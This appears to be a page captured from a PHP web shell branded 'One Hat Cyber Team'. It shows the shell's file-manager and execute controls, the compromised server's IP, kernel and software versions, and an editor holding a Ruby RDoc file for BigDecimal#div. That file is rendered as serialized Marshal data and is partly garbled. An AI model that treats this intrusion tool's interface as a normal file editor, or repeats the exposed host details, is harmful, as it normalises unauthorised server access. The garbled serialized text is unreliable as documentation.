⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
BigDecimal
/
Edit File: div-i.ri
U:RDoc::AnyMethod[iI"div:ETI"BigDecimal#div;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"#Divide by the specified value.;To:RDoc::Markup::BlankLine o:RDoc::Markup::List: @type: NOTE:@items[o:RDoc::Markup::ListItem:@label[I"digits;T; [o; ; [I"HIf specified and less than the number of significant digits of the ;TI"Gresult, the result is rounded to that number of digits, according ;TI"to BigDecimal.mode.;T@o; ; [I"BIf digits is 0, the result is the same as for the / operator ;TI" or #quo.;T@o; ; [I";If digits is not specified, the result is an integer, ;TI";by analogy with Float#div; see also BigDecimal#divmod.;T@o; ; [I"Examples:;T@o:RDoc::Markup::Verbatim; [I"a = BigDecimal("4") ;TI"b = BigDecimal("3") ;TI" ;TI"a.div(b, 3) # => 0.133e1 ;TI" ;TI"/a.div(b, 0) # => 0.1333333333333333333e1 ;TI"/a / b # => 0.1333333333333333333e1 ;TI"/a.quo(b) # => 0.1333333333333333333e1 ;TI" ;TI"a.div(b) # => 1;T:@format0: @fileI" ext/bigdecimal/bigdecimal.c;T:0@omit_headings_from_table_of_contents_below0I"2div(value, digits) -> bigdecimal or integer ;T0[ I"(p1, p2 = v2);T@1FI"BigDecimal;TcRDoc::NormalClass00
Simpan